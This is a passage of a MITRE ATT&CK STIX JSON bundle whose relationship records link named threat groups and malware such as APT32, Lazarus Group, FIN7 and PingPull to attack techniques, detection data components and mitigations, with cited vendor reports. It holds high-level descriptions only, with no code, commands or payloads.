2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef4206d-aaa0-47c4-bed2-9c803a9d4585","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor executed commands and arguments that may abuse Microsoft Office templates to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef47387-c35c-432a-9822-d7e9cd1370c6","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as Modify System Image and Network Device CLI. Some detection methods require vendor support to aid in investigation.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef60d6b-ffc0-4630-98d7-a67b608d5707","type":"relationship","created":"2019-06-24T13:50:29.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T20:00:46.980Z","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef60fca-8b7c-40e4-a148-5f6d46e96781","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor presence and use of CHM files, especially if they are not typically used within an environment.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef6ff08-0567-4366-a1df-13184c460cc4","type":"relationship","created":"2020-08-19T17:34:47.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:21.006Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can communicate with the C2 via subdomains that utilize base64 with character substitutions.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5ef73661-0bc8-47f5-bae6-2beb5342a68e","created":"2022-08-09T18:36:50.350Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can encode C2 traffic with Base64.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-24T20:11:14.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5efbfab6-7fdb-4453-ba90-e94b34387bd1","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware. ","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.466Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current user's name and SID.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:37.786Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f04c4f3-15aa-4fca-8702-c6382ce001f6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for unexpected deletion of client software binaries to establish persistent access to systems.","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5f055076-79d1-44e8-95cb-43fc515df2f6","created":"2017-05-31T21:33:27.068Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)","modified":"2022-07-28T18:47:11.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f0a56f1-f9ef-41c5-a994-fcf499a02b90","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2020-03-19T21:52:07.317Z","description":"[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can open a command line interface.(Citation: Symantec Wiarp May 2012)","relationship_type":"uses","source_ref":"malware--039814a0-88de-46c5-a4fb-b293db21880a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f0b2cd5-125e-4473-8623-5f5a7dc09caf","created":"2023-08-17T18:34:14.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T14:54:03.534Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has utilized a variety of tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154), [PowerSploit](https://attack.mitre.org/software/S0194), and the remote management tool, Atera for targeting efforts.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f14394c-2b44-4187-a2a4-7ccb4109fdb1","created":"2024-02-06T19:22:17.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:18:06.741Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has modified legitimate binaries and scripts for Pulse Secure VPNs including the legitimate DSUpgrade.pm file to install the ATRIUM webshell for persistence.(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f1493e8-65d8-474a-b6b7-c1311fc24d98","type":"relationship","created":"2020-05-11T17:27:36.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB RTM August 2019","url":"https://www.group-ib.com/blog/rtm","description":"Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:50.363Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has used spearphishing attachments to distribute its malware.(Citation: Group IB RTM August 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f179b5c-497f-42da-bc32-360b6113122b","type":"relationship","created":"2019-01-30T17:48:35.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.165Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim PC name and OS version.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5f1c3d51-2810-40df-ac61-26ac9e125c83","created":"2022-03-30T14:26:51.849Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.","modified":"2022-04-28T14:57:37.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f1cf52c-f565-4325-9d4f-4a961c642a0f","type":"relationship","created":"2019-03-11T16:44:33.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.512Z","description":"[Empire](https://attack.mitre.org/software/S0363) uses [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast to request service tickets and return crackable ticket hashes.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f285b2f-15d8-4f74-9a25-693c32635d43","created":"2022-02-09T14:49:29.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.412Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has executed Windows commands by using `cmd` and running batch scripts.(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f2a8f58-9e7a-46a1-95df-c3e85e27a072","type":"relationship","created":"2020-01-17T19:23:15.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T19:23:15.423Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f2d57af-857e-4912-85a7-5d0a96ee9a64","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for network traffic associated with requests and/or downloads of container images, especially those that may be anomalous or known malicious.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f3176fa-827b-4c3c-ba71-6e8ef6cdebb9","created":"2023-03-26T19:01:50.857Z","revoked":false,"external_references":[{"source_name":"ESET TeleBots Oct 2018","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:01:50.857Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) stores the backdoor's configuration in the Registry in XML format.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f338678-212e-4940-b0f1-79b14d8c8c96","created":"2024-09-23T22:26:37.899Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:26:37.899Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used phishing emails with malicious files to gain initial access.(Citation: group-ib_redcurl1)(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.843Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) extracted Word documents from a file server on a victim network.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f3f6350-5e69-4b50-a0c7-c1f04ae85976","created":"2022-10-06T21:08:53.689Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:08:53.689Z","description":"For [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors obtained publicly-available JSP code that was used to deploy a webshell onto a compromised server.(Citation: Cybereason OperationCuckooBees May 2022) ","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f402d02-94f9-49de-b097-2d89c59de394","type":"relationship","created":"2019-01-30T19:06:33.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2020-03-20T16:37:06.707Z","description":"(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f408271-9f8a-4eab-ac54-a8c81be61724","created":"2024-08-08T17:52:18.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:48:23.256Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can RC4 encrypt content in blocks on targeted systems.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 